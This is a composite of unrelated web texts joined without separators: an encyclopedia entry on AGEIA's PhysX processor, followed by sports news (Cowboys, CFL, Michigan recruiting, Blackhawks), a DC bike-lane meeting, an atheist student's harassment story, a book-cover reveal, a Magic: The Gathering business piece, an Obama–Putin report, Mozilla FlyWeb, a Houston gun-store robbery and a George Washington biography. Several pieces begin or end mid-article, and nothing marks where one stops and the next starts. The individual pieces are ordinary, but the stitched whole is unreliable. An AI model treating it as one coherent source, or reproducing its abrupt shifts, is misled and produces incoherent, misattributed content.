The first processor to be advertised as a PPU was called the PhysX chip, introduced by a fabless semiconductor company called AGEIA. Games wishing to take advantage of the PhysX PPU must use AGEIA's PhysX SDK, (formerly known as the NovodeX SDK).
It consists of a general purpose RISC core controlling an array of custom SIMD floating point VLIW processors working in local banked memories, with a switch-fabric to manage transfers between them. There is no cache-hierarchy as in a CPU or GPU.
The PhysX was available from three companies akin to the way video cards are manufactured. ASUS, BFG Technologies,[6] and ELSA Technologies were the primary manufacturers. PCs with the cards already installed were available from system builders such as Alienware, Dell, and Falcon Northwest.[7]
In February 2008, after Nvidia bought Ageia Technologies and eventually cut off the ability to process PhysX on the AGEIA PPU and NVIDIA GPUs in systems with active ATi/AMD GPUs, it seemed that PhysX went 100% to Nvidia. But in March 2008, Nvidia announced that it will make PhysX an open standard for everyone,[8] so the main graphic-processor manufacturers will have PhysX support in the next generation graphics cards. Nvidia announced that PhysX will also be available for some of their released graphics cards just by downloading some new drivers.
See physics engine for a discussion of academic research PPU projects.
PhysX P1 (PPU) hardware specifications [ edit ]
ASUS and BFG Technologies bought licenses to manufacture alternate versions of AGEIA's PPU, the PhysX P1 with 128 MB GDDR3:
Multi-core device based on the MIPS architecture with integrated physics acceleration hardware and memory subsystem with "tons of cores" [9] [10] 125 million transistors [11] 182 mm 2 die size Fabrication process: 130 nm Peak power consumption: 30 W
Memory: 128 MB GDDR3 RAM with 128-bit interface
32-bit PCI 3.0 (ASUS also made a PCI Express version card)
Sphere collision tests: 530 million per second (maximum capability)
Convex collision tests: 530,000 per second (maximum capability)
Peak instruction bandwidth: 20 billion per second
Havok FX [ edit ]
The Havok SDK is a major competitor to the PhysX SDK, used in more than 150 games, including major titles like Half-Life 2, Halo 3 and Dead Rising.[12]
To compete with the PhysX PPU, an edition known as Havok FX was to take advantage of multi-GPU technology from ATI (CrossFire) and NVIDIA (SLI) using existing cards to accelerate certain physics calculations.[13]
Havok divides the physics simulation into effect and gameplay physics, with effect physics being offloaded (if possible) to the GPU as Shader Model 3.0 instructions and gameplay physics being processed on the CPU as normal. The important distinction between the two is that effect physics do not affect gameplay (dust or small debris from an explosion, for example); the vast majority of physics operations are still performed in software. This approach differs significantly from the PhysX SDK, which moves all calculations to the PhysX card if it is present.
Since Havok's acquisition by Intel, Havok FX appears to have been shelved or cancelled.[14]
Vs. GPUs [ edit ]
The drive toward GPGPU has made GPUs more suitable for the job of a PPU; DX10 added integer data types, unified shader architecture, and a geometry shader stage which allows a broader range of algorithms to be implemented; Modern GPUs support compute shaders, which run across an indexed space and don't require any graphical resources, just general purpose data buffers. NVidia CUDA provides a little more in the way of inter-thread communication and scratchpad-style workspace associated with the threads.
Nonetheless GPUs are built around a larger number of longer latency, slower threads, and designed around texture and framebuffer data paths, and poor branching performance; this distinguishes them from PPUs and the Cell as being less well optimized for taking over game world simulation tasks.
The Codeplay Sieve compiler supports the PPU, indicating that the Ageia physX chip would be suitable for GPGPU type tasks. However Ageia seem unlikely to pursue this market.
Intel Xeon Phi [ edit ]
Like the Cell, Xeon Phi sits between the CPU and the GPU, in the spectrum between, general purpose processing versus specialized high-performance back-end processing. This uses caches rather than scratchpads, but still manages to achieve high throughput.
AMD have declared their long term intention to enable AMD APUs to use Radeon as a vector co-processor, sharing resources such as cache hierarchy. This future configuration started materializing in the form of Heterogeneous System Architecture.
PS2 – VU0 [ edit ]
Although very different from the PhysX, one could argue the PlayStation 2's VU0 is an early, limited implementation of a PPU. Conversely, one could describe a PPU to a PS2 programmer as an evolved replacement for VU0. Its feature-set and placement within the system is geared toward accelerating game update tasks including physics and AI; it can offload such calculations working off its own instruction stream whilst the CPU is operating on something else. Being a DSP however, it is much more dependent on the CPU to do useful work in a game engine, and would not be capable of implementing a full physics API, so it cannot be classed as a PPU. Also VU0 is capable of providing additional vertex processing power, though this is more a property of the pathways in the system rather than the unit itself.
This usage is similar to Havok FX or GPU physics in that an auxiliary unit's general purpose floating point power is used to complement the CPU in either graphics or physics roles.
The Cowboys will start Moore on Sunday against the Buffalo Bills.
“He just deserves an opportunity,” coach Jason Garrett said of Moore. “He did some good things in the ballgame, provided a little bit of a spark for us, made some plays in the passing game, moved the ball. He made some mistakes. Hopefully he’ll learn from those mistakes. But we think he gives us the best chance to help us move the ball, score some points and win a football game.”
Moore completed 15 of 25 passes for 158 yards with a touchdown and three interceptions in eight series of work in the 19-16 loss to the New York Jets.
Cassel completed three of eight passes for 37 yards with one interception.
Cassel has 78 career starts and has thrown for nearly 17,000 yards with 101 touchdown passes and 76 interceptions in an 11-year career. Moore is in his fourth year in the NFL, but saw his first regular-season action against the Jets.
While it was far from perfect, Moore was more fluent with the offense.
“You have to do your best to evaluate what you see with your eyes and oftentimes we all can get caught up with what someone’s experience is, what someone’s resume is and those things are important. Those things matter,” Garrett said. “But you also have to trust your eyes. [Offensive coordinator] Scott [Linehan] was around him in Detroit and had firsthand experience with him and that certainly has given us maybe a little bit of an advantage in our evaluation of him and that’s why we brought him here. With the opportunities he got in practice, running the scout team, it just seems like he has a good feel for playing the game and that follows from what he’s done throughout his career at different levels. We just felt it was the right time to give him a chance the other day in the ballgame and he responded well.”
So why not make the move to Moore sooner?
“There are probably a lot of different circumstances that go into all those decisions and we just felt like this was the right time for him,” Garrett said.
For just the second time in franchise history, the Cowboys will have four different starting quarterbacks in one season with Moore joining Tony Romo, Brandon Weeden and Cassel. The other time came in 2001 when Quincy Carter, Anthony Wright, Ryan Leaf and Clint Stoerner combined to go 5-11.
Not Everyone Wants More Bike Lanes in DC
The District Department of Transportation hosted a public meeting on Saturday to get feedback from residents about a protected bike lane in the eastern part of the city.
News4’s Derrick Ward said it's one of those issues that was surprisingly contentious with a room full of people, both pro and con.
The alternatives being studied for northbound and southbound travel, roughly between New York Avenue and Pennsylvania Avenue, includes a protected bike lane on Fifth, Sixth or Ninth Street. There is also an option to leaving things as they are, but the travel from cars and bikes in the neighborhood is already heavy.
Ward said on any given Sunday, churches in the city’s eastern neighborhoods allow parishioners to park perpendicular to the curb, essentially losing a travel lane. They are concerned about what an added bike lane mean for that situation.
In some options being considered, they'll lose some of those spaces, which doesn’t please some religious leaders in those communities.
"The concern is that the city is being made over for the convenience of newcomers,” said William Lamar, pastor at the Metropolitan AME Church.
I wrote about an incident that happened there in The Young Atheist’s Survival Guide:
Not only did [Chapman] use his time to rail against atheism, evolution, and homosexuality, he told the students that “a relationship with Jesus is what you need, more important than anything else.” Christian rapper Bryan Edmonds (a.k.a. B-SHOC) later joined him onstage and performed “overtly Christian songs” for the crowd. Even the principal joined the mix by telling students to attend a local church. But that wasn’t all. Students were told to sign a pledge dedicating themselves to Jesus Christ and teachers were told to pray with students before returning to the classroom. Afterward, the public school’s own website declared that “[b]efore the day ended, 324 kids had either been saved, or had re-committed their lives to the Lord.”
We know about this incident for two main reasons.
First, B-SHOC idiotically posted a video of the event to YouTube (the relevant portion begins at the 3:04 mark):
Second, eighth-grader Jordan Anderson decided he didn’t want to attend the assembly because he was an atheist and he knew what it was going to be like. His teachers said he could skip it, but he would have to spend that time in the room normally reserved for in-school suspensions. Given that option, Jordan went to the gym.
Afterwards, with the help of his father and the ACLU, they filed a lawsuit against the school… and the case was eventually settled. Jordan and his family walked away with a whopping $2.00 (yep, two dollars) and the school was told in no uncertain terms that it could not hold religious assemblies again.
It’s been nearly 18 months since all of that went down, and Ellen Meder of the Morning News has a follow-up with the Andersons. Life hasn’t been easy for any of them, especially Jordan, since the lawsuit:
[Jordan’s] eagerness to go back to school might be surprising for any teen, but it’s especially stunning in Jordan’s case, given that over the past two years he’s endured endless bullying, name-calling and threats — even death threats — in the halls of Chesterfield County’s New Heights Middle School. “I had tons of bullying, just awful stuff I don’t even want to repeat,” Jordan said. “When some people make those death threats, they almost make you think they’ll really kill you.” “I’ll put it bluntly,” [father] Jonathan said. “There were a couple of kids telling him if he doesn’t get himself to God, they’re going to kick his ass. Yeah, it’s very Christian-ly.” … Said [mother] Amy, “Oh yeah, people would drive up in our yard, honk the horn and flip us off. We are still called ‘the dark forces’ sometimes. I’ve heard that a lot.” … “You can only take so much of people telling you your husband needs to have his head bashed in and your son needs to do this or that before you go, ‘OK, really?’” Amy said. “We just had plenty of death threats.”
That’s Christian love for you right there.
And, as it turns out, it wasn’t easy for Jordan as an atheist in a religious community even before the incident:
Young girls attempted to pray over him on the school bus, trying to convert him. Teachers singled him out in class for not being a believer. One year a teacher told her class that Jordan was the reason they couldn’t play Christmas-themed games in school, since he wasn’t a believer. (Jordan said he actually loves the festive spirit of Christmas, and like his classmates was disappointed). Even fairly mundane infractions with middle school rules turned into a proselytizing expedition. When Jordan got in trouble for not wearing a belt — part of the school’s dress code because of sagging pants issues — then-principal Larry Stinson required him to write an essay as punishment. For the essay to be accepted, Jordan said, it had to end by thanking both Stinson and God for allowing him to write the essay and by proclaiming how God would help him remember the dress code in the future.
It’s really incredible that Jordan has come out of this still eager to go back to school and face his peers who appear to have nothing but contempt for him.
Can you imagine putting yourself in his shoes? I don’t think I would have had the guts to keep fighting the good fight at that age. Middle school was awkward enough without painting a giant target on myself. (On the flip side, can you imagine how mentally strong this kid’s gonna be by the time he graduates?)
Jordan is only a high school freshman now. He’s gone through the same struggles that Damon Fowler, Jessica Ahlquist, and a whole host of other brave students have endured. I hope this isn’t the last we hear of him.
And I hope atheist organizations nationwide (Hello, Freedom From Religion Foundation!) will consider recognizing what Jordan has done when he’s ready to graduate and looking for a few scholarships.
While doing research for “Facing McEnroe” (due by July) I found an old interview John did with New York City TV broadcaster Bill Boggs in the 90s. Boggs asked John if he ever got so upset on court that he wanted to assault his opponent…
“Yeah, yes,” said McEnroe. “Quite a few times actually. And as I’ve said there were probably a couple occasions the opponent felt the same about me. There were a couple of exhibitions where we threatened each other. (Who?) Well me and Jimmy (Connors). I know I can beat that guy. He’s littler than me. I don’t care what happens. After this match I’m gonna kick his ass. And I was convinced of it. I was gonna do it. Absolutely dead set. And then after the match you have to sort of answer a question or two if it’s on TV. You go to press. You sort of cool down a little bit. You have a few friends there. Next thing you know: Ahhh the hell with it. It’s not worth getting suspended X amount of time. And I sort of miss that. I think it would be nice in some way if the option was available – you step into a ring.” ————————————
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Michigan landed its third commitment for the 2015 class during the event from wide receiver George Campbell (Tarpon Springs, Fla./East Lake) the top athlete and No. 3-ranked prospect overall in the ESPN Junior 300.
"I love it," Campbell said. "I feel like home and it's one big family."
Campbell confirmed the commitment via text, while his new teammates tweeted out pictures of the commitment happening.
His current teammate, and future teammate at Michigan, Mason Cole even got in on the tweeting action.
Shout out to George Campbell @georgecampbell0 newest michigan commit http://t.co/ggrY8b8aen — Mason Cole (@MasonCole52) July 27, 2013
Campbell is the No. 1-ranked athlete for his class, and while he could flourish on defense, he likely will be used as a wide receiver at Michigan. He is the sixth wide receiver Michigan has landed since 2012 that is more than 6 feet 4. His combination of size and speed will give Michigan unbelievable options once he gets to campus.
He turned down offers from Arkansas, Florida, Georgia, Clemson, Ohio State, Oklahoma and Tennessee among others. With that many offers, it's only natural that schools are going to try to continue to recruit Campbell despite his commitment.
We’re excited to show off the cover for Crossroads of Canopy, the highly-anticipated fantasy debut from Aurealis and Ditmar Award-winning author Thoraiya Dyer. Set in a giant mythical rainforest controlled by living gods, Crossroads of Canopy is the first installment of the Titan’s Forest trilogy—publishing January 2017 from Tor Books!
Below, get a full look at the cover art—both with and without text—by renowned genre artist Marc Simonetti. Plus, author Thoraiya Dyer shares her thoughts on both the design and overcoming the persistent superstition that green covers are “newstand poison.”
All budding authors have heard the terrifying legend of the Cursed Green Cover, right?
The one where green-jacketed books languish, unsold?
The (statistically disproven) notion that green is poison on a newsstand might have sprung from the days when inks were way less awesome. A mixing mishap could end with dollops of vomit or baby-poo instead of apple- or emerald green (one of the best greens, manufactured with arsenic, was famously the most toxic ink ever made). Yum yum!
Anyway, when I first heard about the Curse, I was baffled. Most of my favourite fantasy covers were green. Exhibit A in the Completely Anecdotal Court, Your Honour: The original Hobbit cover by Tolkien, the John Howe cover of Robin Hobb’s Assassin’s Quest, Peter Goodfellow’s devastatingly beautiful cover of CJ Cherryh’s Fortress In The Eye of Time, and more recently, the irresistibly gorgeous cover of Seanan McGuire’s Every Heart a Doorway.
When I was asked for any images that might have inspired me while writing Crossroads of Canopy (in which no character ever sets foot outside of the rainforest) I sent in cheesy altered photos I’d taken (in the rain!) of some local rainforest trees:
The cheese wasn’t intentional. I was hoping for less of this:
…And more of this:
In other words, when it came to the rainforest home of my reincarnated deities, killers and kings, I longed for a world of greens while mentally preparing myself for the lingering effects of the Curse.
I prepared myself for non-green.
Preparations or no, it was still extremely exciting. Would my cover, perhaps, show the green of the forest contained in a tiny window, wrapped in the enticing yet ultimately yellow illuminated parchment effect of Naomi Novik’s Uprooted? Maybe I’d get a close-up of fantastically dressed priestesses? Weapon-wielding warriors? The interior of a palace?
Trees so mist-wreathed they looked more grey than green? That wouldn’t be so bad. I gazed fondly at my bookshelf; there was the much-beloved viking ship and fog-shrouded turfed islands of Juliet Marillier’s Foxmask, while mist rolled in over the green hills of Avalon. Maybe I’d end up with black tree silhouettes and a sunset. Like Raymond Feist’s A Darkness at Sethanon. I’d always loved that cover.
But then rough sketches for my cover came, and they were green.
Not only was this one green, but with its unusual perspective, it drew the eye into a terrifying, wonderfully vertiginous dive into the unknown. The cover was asking the same questions that my protagonist, Unar, had asked: What was down there, in the dark? What lay beneath opulent, sun-drenched Canopy?
I was thrilled.
And here we are, only a couple of months later, and the completed cover has landed. Still asking the questions. Still leading the eye, but with details of verdant vegetation and woody tree-trunk dwellings. (Which distracted me for ages, deciding which little window would be “my house.” Doesn’t everyone do this with fantasy city covers? Find a lantern-lit window, or corner of a stone ruin, or ship anchored in the harbour, and whisper to themselves: That’s my house?)
So twisty. So lush. So dangerous. So green.
Crossroads of Canopy publishes January 31, 2017 from Tor Books. From the catalog copy:
At the highest level of a giant forest, thirteen kingdoms fit seamlessly together to form the great city of Canopy. Thirteen goddesses and gods rule this realm and are continuously reincarnated into human bodies. Canopy’s position in the sun, however, is not without its dark side. The nation’s opulence comes from the labor of slaves, and below its fruitful boughs are two other realms: Understorey and Floor, whose deprived citizens yearn for Canopy’s splendor. Unar, a determined but destitute young woman, escapes her parents’ plot to sell her into slavery by being selected to serve in the Garden under the goddess Audblayin, ruler of growth and fertility. As a Gardener, she wishes to become Audblayin’s next Bodyguard while also growing sympathetic toward Canopy’s slaves. When Audblayin dies, Unar sees her opportunity for glory–at the risk of descending into the unknown dangers of Understorey to look for a newborn god. In its depths, she discovers new forms of magic, lost family connections, and murmurs of a revolution that could cost Unar her chance…or grant it by destroying the home she loves.
This Labor Day weekend, tens of thousands of gamers will descend on the Penny Arcade Expo (PAX) in Seattle to check out the latest and greatest from their favorite game studios. Like Comic-Con, the various PAX conventions are a mammoth celebration of all things nerdy. But even for seasoned gamers, there's a sight at each PAX that some might find surprising: rows upon rows of tables where people sit not to play any video game, but cards.
I'm talking about "Magic: The Gathering." If you don't frequent comic book shops, "Magic" might sound like a relic from either your or your kids' middle-school years. And for a game first launched in 1993, "Magic" might even strike modern gamers as exceedingly low tech compared to the lush 3-D graphics of the Xbox 360 or PlayStation 3. But thanks to the resources of "Magic" owner Hasbro and a small handful of smart moves into digital media, that's not really the case.
"Magic is bigger than it's ever been," Mark Purvis, global brand director for "Magic," told NBC News. Looking at the numbers behind "Magic: The Gathering" today, it's hard not to take him at his word. With more than 13,000 unique cards made, "Magic" now has 12 million active players globally, and Hasbro said that it's the biggest brand in its $1.2 billion games portfolio. In its 2012 annual report, the company said that "Magic's" revenue has grown by 25 percent or more in each of the previous four years.
"It's off the charts," Sean McGowan, an analyst at Needham & Co., told NBC News. "I've been covering the toy industry for 27 years, and in the last 15, it's maybe had two up years. But this property...at 20 years, I don't know if it's ever had a down year. The growth in 'Magic' has been bigger than the growth in Hasbro."
'Careful thinking at every step'
A sample card from "Magic: The Gathering." The consistency of the card templates and the iconic high fantasy aesthetic of the series is part of what makes the game easy to keep up with for loyal fans.
Keep in mind that Hasbro is also the company behind "Transformers," "My Little Pony," and "G.I. Joe," action figures, not to mention "Scrabble" and "Monopoly" — which holds the Guinness World Record for best-selling board game ever. So what is it about this seemingly arcane card trading game that keeps drawing in new players and keeps the old ones coming back for more?
"It's a game that requires careful thinking at every step before and during a game, from evaluating cards to put in your deck, to choosing which ones to play, and that appeals to me," Sam Werbalowsky, 24, told NBC News. The program manager for an online pharmacy verification website said he has been playing "Magic" since he was 13.
McGowan attributed much of its current success to what Hasbro has chosen not to do with the brand since it scooped it up in 1999 with the acquisition of "Magic" creator Wizards of the Coast.
"The best thing they did was leave it alone," McGowan said. "And they did leave it completely alone for several years." But even when Hasbro started to tinker with it by introducing digital versions of the game, such as 2002's "Magic: The Gathering Online," and 2009's "Duels of the Planeswalkers," which is now available for the PC and major gaming consoles in addition to the iPad, Hasbro didn't try to push fans to accept consoles over cards.
More than 4,500 attended a "Magic" convention in Las Vegas this summer, a new record for the brand.
This makes "Magic" one of the rare examples of an entertainment product that's continued to thrive not in spite of its trappings of "old media," but because of them. Purvis of Hasbro wouldn't give specific statistics on how many players play "Magic" on a console or tablet versus at the table, but even he admitted that when it comes to playing "Magic," "face to face is still the biggest experience that you can have."
And for many players like Werbalowsky, that's still the case. Playing the game two to four times a week at the Twenty Sided Store in Brooklyn, he estimates that he has spent between $500 and $750 on the game in the last year alone, and expects to spend the same amount next year.
For McGowan, players like Werbalowsky make up the high-grossing "army of nerds" that helps "Magic" grow year after year. But they can be a blessing and a curse, scaring away casual players who don't have the time or the money to become that involved.
Just take James DiGioa, 26, a New Yorker who works in social media for a business website. He said that he'd all but abandoned "Magic" after middle school until a friend of his invited him to play again earlier this summer. Does this mean he's going back to the cards?
"Well, it costs time and money to get a good enough handle on the game, and there are just other things I'd rather do," DiGioa told NBC News. So maybe he's not ready to put down $750. But would he play it again now?
"Yeah, definitely," he said.
The Eastern Final had all the elements you want from a great game, starting with the elements. Nothing gives a football game an aesthetic boost quite like several inches of snow on the ground. I love it when you have no earthly idea where a team is on the field because who can tell what yard line anyone is on when the game looks like it’s taking place in the North Pole? I don’t know what it is but every football game immediately becomes 25 per cent more interesting when snow is a major factor.
Next up you had the rise of the unsung hero, I mean who doesn’t love the unknown underdog grabbing the hero mantle? And when that star in the making played his college ball in Manitoba, well, that just makes Kienan Lafrance’s 157 rushing yard day that much more special. No one and I mean no one expected that sort of day out of a player who hadn’t had a carry since Week 14 when he amassed a Ricky Ray-like six yards rushing and came into the game with 180 total yards on the ground. Lafrance was important early as he was the key cog on Ottawa’s first two touchdown drives, accounting for 85 yards, and was a force on Ottawa’s final drive that included leaping over Neil King on a 17-yard run and his won’t-be-denied 20-yard touchdown run to seal it.
THROUGH THE LENS
The best images from Sunday’s Division Finals
Photos of the Week: Division Finals [1 of 39] (Larry MacDougal/CFL.ca)
Finally, you had a really sweet moment when Nicole Burris found herself in the middle of her husband’s post-game interview. I credit TSN’s Matthew Scianitti for rolling with it and asking her how she was feeling after the REDBLACKS win. It was a sweet, humanizing little moment.
But more than the snow, the underdog story or the Burris family, what I appreciated the most about this game was Ottawa was clearly the better team. I haven’t been shy about the fact that I’m just not a fan of teams with losing records making the playoffs let alone getting home field advantage against a 10-win Edmonton squad. But on this day, the Redblacks were far and away the better team. They dictated the play at the line of scrimmage; Burris made brilliant throws on both his touchdown passes; and the defence, beyond that Adarius Bowman late 57-yard touchdown, held the Eskimos in check.
The most telling moment may have been the start of the third quarter. If Edmonton had any chance trailing 17-3, it would need to generate something and needed to do it quickly. Instead, Mike Reilly and his array of weapons scratched together just one first down on three drives and allowed a 76-yard punt return touchdown by Tristan Jackson. Ottawa, despite its regular season, deserves to be in the Grey Cup.
Here’s how good the Calgary Stampeders are: not only did they beat the second-best team in the league by 27 points but they permanently destroyed the cliché of too much time off being a negative come playoff time. They didn’t even need four quarters to wipe that media gasbag talking point from the Earth. It was eliminated the moment Jamar Wall picked off the most ill advised of ill advised passes Jonathon Jennings can make and raced 41 yards to the end zone, giving Calgary an insurmountable 32-0 lead.
Oh hell, let’s be honest, that cliché died on DaVaris Daniels’ 76-yard touchdown catch as the announcers were lauding Bo Levi Mitchell and his receivers for having “fresh legs” and a “jump in their step.” It wasn’t just about all the yards or touchdowns produced by Calgary’s offence; it was the ease in which the Stampeders scored. Rarely did Bo Levi Mitchell find himself in second and long in that first half. If you want to know who the Calgary Stampeders are, go back and watch their touchdown drive in the fourth quarter that pushed their lead to 39-7.
The drive was about one thing: complete physical domination by the Stampeders’ offensive line as Jerome Messam and Roy Finch constantly ran up the gut, hammering the Lions’ defensive line. On one Finch run, Adam Bighill had a clean shot at Finch and just bounced off of the second-year pro as Calgary mercilessly marched down the field munching up time while ruthlessly collecting first downs. If Bighill had been rendered as an afterthought, what chance did the rest of the team have? Watching this one-sided affair I felt both a sense of disappointment that we as fans were not given a better game, but at the same time, how could you not be impressed with just how clinical Calgary is?
As for the Grey Cup, the storyline is a simple one: can the Ottawa REDBLACKS pull off the upset? Can Burris, who is going back to his third Grey Cup in the past four years, put a final exclamation point on his Hall of Fame career? A Grey Cup win for Ottawa would be the ultimate highlight for Burris and would represent one of the biggest upsets in CFL history.
In a year in which the Cubs won the World Series and a reality TV star will soon be President of the United States, anything is possible, especially in a one-game setting. I’m curious about what result the majority of you are hoping for. A Calgary win would represent the finishing touches on the greatest single season in CFL history. An Ottawa win would be a hell of a story — the ultimate David over Goliath.
Via Newsmax:
President Barack Obama reportedly told Russian President Vladimir Putin in October that directly interfering with the U.S. election could result in an “armed conflict.”
According to NBC News, Obama opted to use the red phone to contact Moscow directly, a communication system that dates back to the Cold War. It’s not an actual telephone, but instead sends a secure email message between the two countries.
“International law, including the law for armed conflict, applies to actions in cyberspace,” part of the Oct. 31 message read, according to NBC. “We will hold Russia to those standards.”
One of Obama’s senior advisers reportedly told the president months ago that he should use the phrase “act of war” when it came to Russia’s alleged meddling in the presidential election. Obama declined to use that term when the two leaders met at the September G-20 summit in China, instead telling Putin he should cease any election-hacking activities.
Work on this project started in 2015, before the Foundation decided to retire Firefox OS from the smartphone business and later shifted focus to the IoT market.
Another forward-thinking project from Mozilla
On its official wiki, Mozilla describes FlyWeb as an all-around component for interacting with nearby smart devices:
“ Meet FlyWeb. FlyWeb is a very simple idea at its core. Instead of phones interacting only with the cloud, they can discover and interact with electronics around them that are running empty web clients, such as TV's, projectors, game consoles, etc. The electronics come to life when connected to phones. The key here is that either the phones serve web apps to these electronics, or the electronics serve web apps to the phones. ”
While initially this might look like a suitable component for Firefox for iOS and Android, FlyWeb is also included in desktop browsers, being considered universal, and that's the point Mozilla is trying to make.
Users don't need to be locked into smart IoT devices that only provide their own mobile apps, which are sometimes insecure and collect data on users.
The company has designed FlyWeb as a universal wrench that can deal with different types of IoT architectures.
FlyWeb is Mozilla's universal IoT plug-in
FlyWeb will allow users to connect to a wide range of smart devices without the need for proprietary mobile apps, but by only accessing a URL in their browser.
The component is a swipe at companies like Apple or Google that want to lock in users on their own platforms, instead of building a universal playground for all devices.
March 3, 2016, 3:35 PM GMT / Updated March 3, 2016, 3:38 PM GMT By Corky Siemaszko
They were gone in 120 seconds — and nabbed in less than 48 hours.
At least three of the 10 thieves whose spectacular smash-and-grab robbery of a Houston gun store was caught on surveillance footage were in police custody and facing federal charges, NBC affiliate KRPC reported Thursday.
Some of the 50 weapons stolen by the brazen bandits were also recovered, the station reported.
Police have not identified the suspects and are offering a reward of up to $5,000 for information that would lead to the arrest of their alleged accomplices.
The heist at Carter’s Country Guns & Ammo was pulled off at 4:30 a.m. Tuesday with a brutal simplicity.
The footage showed the thieves backing-up a black Ford F-250 pickup truck to the store and stretching a chain to the glass and iron security door.
Then a robber, dressed in jogging pants, smashed the glass with what looked like a hammer and secured the chain. The truck — burning rubber — then yanked it off its hinges.
Seconds later, the thieves swarmed inside and ransacked the store, smashing display cases and pocketing pistols. They also picked an entire wall of rifles clean.
In 1748, Washington developed an interest in surveying and later obtained his license from the College of William and Mary. A year later, Washington used his family's connections to the powerful Fairfax clan to obtain the position of surveyor of newly-formed Culpeper County. This proved a lucrative post and allowed him to begin buying land in the Shenandoah Valley. The early years of Washington's work also saw him employed by the Ohio Company to survey land in western Virginia. His career was also aided by his half-brother Lawrence who commanded the Virginia militia. Using these ties, the 6'2" Washington came to the attention of Lieutenant Governor Robert Dinwiddie. Following Lawrence's death in 1752, Washington was made a major in the militia by Dinwiddie and assigned as one of four district adjutants.
French & Indian War
In 1753, French forces began moving into the Ohio Country which was claimed by Virginia and the other English colonies. Responding to these incursions, Dinwiddie dispatched Washington north with a letter instructing the French to depart. Meeting with key Native American leaders en route, Washington delivered the letter to Fort Le Boeuf that December. Receiving the Virginian, the French commander, Jacques Legardeur de Saint-Pierre, announced that his forces would not withdraw. Returning to Virginia, Washington's journal from the expedition was published on Dinwiddie's order and helped him gain recognition throughout the colony. A year later, Washington was placed command of a construction party and sent north to aid in building a fort at the Forks of the Ohio.
Assisted by the Mingo chief Half-King, Washington moved through the wilderness. Along the way, he learned that a large French force was already at the forks constructing Fort Duquesne. Establishing a base camp at Great Meadows, Washington attacked a French scouting party led by Ensign Joseph Coulon de Jumonville, at the Battle of Jumonville Glen on May 28, 1754. This attack prompted a response and a large French force moved south to deal with Washington. Constructing Fort Necessity, Washington was reinforced as he prepared to meet this new threat. In the resulting Battle of Great Meadows on July 3, his command was beaten and ultimately forced to surrender. Following the defeat, Washington and his men were permitted to return to Virginia.
These engagements began the French & Indian War and led to the arrival of additional British troops in Virginia. In 1755, Washington joined Major General Edward Braddock's advance on Fort Duquesne as a volunteer aide to the general. In this role, he was present when Braddock was badly defeated and killed at the Battle of the Monongahela that July. Despite the failure of the campaign, Washington performed well during the battle and worked tirelessly to rally British and colonial forces. In recognition of this, he received command of the Virginia Regiment. In this role, he proved a strict officer and trainer. Leading the regiment, he vigorously defended the frontier against the Native Americans and later took part in the Forbes Expedition which captured Fort Duquesne in 1758.
Peacetime
In 1758, Washington resigned his commission and retired from the regiment. Returning to private life, he married the wealthy widow Martha Dandridge Custis on January 6, 1759, and took up residence at Mount Vernon, a plantation he had inherited from Lawrence. With his newly obtained means, Washington began expanding his real estate holdings and greatly expanded the plantation. This also saw him diversify its operations to include milling, fishing, textiles, and distilling. Though he never had children of his own, he aided in raising Martha's son and daughter from her previous marriage. As one of the colony's wealthiest men, Washington began serving in the House of Burgesses in 1758.
Moving to Revolution
Over the next decade, Washington grew his business interests and influence. Though he disliked the 1765 Stamp Act, he did not begin publicly opposing British taxes until 1769 when he organized a boycott in response to the Townshend Acts. With the introduction of the Intolerable Acts following the 1774 Boston Tea Party, Washington commented that the legislation was "an invasion of our rights and privileges." As the situation with Britain deteriorated, he chaired the meeting at which the Fairfax Resolves were passed and was selected to represent Virginia at the First Continental Congress. With the Battles of Lexington & Concord in April 1775 and the beginning of the American Revolution, Washington began attending meetings of the Second Continental Congress in his military uniform.
Leading the Army
With the Siege of Boston ongoing, Congress formed the Continental Army on June 14, 1775. Due to his experience, prestige, and Virginia roots, Washington was nominated as commander in chief by John Adams. Accepting reluctantly, he rode north to take command. Arriving at Cambridge, MA, he found the army badly disorganized and lacking supplies. Establishing his headquarters at the Benjamin Wadsworth House, he worked to organize his men, obtain needed munitions, and improve the fortifications around Boston. He also dispatched Colonel Henry Knox to Fort Ticonderoga to bring the installation's guns to Boston. In a massive effort, Knox completed this mission and Washington was able to emplace these guns on Dorchester Heights in March 1776. This action forced the British to abandon the city.
Keeping an Army Together
Recognizing that New York would likely be the next British target, Washington moved south in 1776. Opposed by General William Howe and Vice Admiral Richard Howe, Washington was forced from the city after being flanked and defeated at Long Island in August. In the wake of the defeat, his army narrowly escaped back to Manhattan from its fortifications in Brooklyn. Though he won a victory at Harlem Heights, a string of defeats, including at White Plains, saw Washington driven north then west across New Jersey. Crossing the Delaware, Washington's situation was desperate as his army was badly reduced and enlistments were expiring. Needing a victory to bolster spirits, Washington conducted a daring attack on Trenton on Christmas night.
Moving Towards Victory
Capturing the town's Hessian garrison, Washington followed up this triumph with a victory at Princeton a few days later before entering winter quarters. Rebuilding the army through 1777, Washington marched south to block British efforts against the American capital of Philadelphia. Meeting Howe on September 11, he again flanked and beaten at the Battle of Brandywine. The city fell shortly after the fighting. Seeking to turn the tide, Washington mounted a counterattack in October but was narrowly defeated at Germantown. Withdrawing to Valley Forge for the winter, Washington embarked on a massive training program which was overseen by Baron Von Steuben. During this period, he was forced to endure intrigues such as the Conway Cabal, in which officers sought to have him removed and replaced with Major General Horatio Gates.
Emerging from Valley Forge, Washington began a pursuit of the British as they withdrew to New York. Attacking at the Battle of Monmouth, the Americans fought the British to a standstill. The fighting saw Washington at the front working tirelessly to rally his men. Pursuing the British, Washington settled into a loose siege of New York as the focus of the fighting shifted to the southern colonies. As commander in chief, Washington worked to direct operations on the other fronts from his headquarters. Joined by French forces in 1781, Washington moved south and besieged Lieutenant General Lord Charles Cornwallis at Yorktown. Receiving the British surrender on October 19, the battle effectively ended the war. Returning to New York, Washington endured another year of struggling to keep the army together amid a lack of funds and supplies.
RALEIGH, N.C. — Ask Joel Quenneville any hypothetical question — whether it’s about a player fitting into a new role, or a lineup decision, or a contract situation — and he’ll usually respond with, “Tough to forecast.”
This time, he meant it literally.
It’s expected to rain in St. Louis on Monday, possibly hard and possibly all day, depending on which weather service you check, putting the Winter Classic between the Blackhawks and the Blues in jeopardy. NBC Sports president Jon Miller told the St. Louis Post-Dispatch that the game, to be held at Busch Stadium, could even be moved to Tuesday.
“I think everybody’s kind of keeping an eye on that, but, like I say, it’s tough to forecast that,” Quenneville said. “Well see what happens.”
Jonathan Toews navigates through Penguins and through snowflakes during the Stadium Series game at Soldier Field on March 1, 2014. (Sun-Times File)
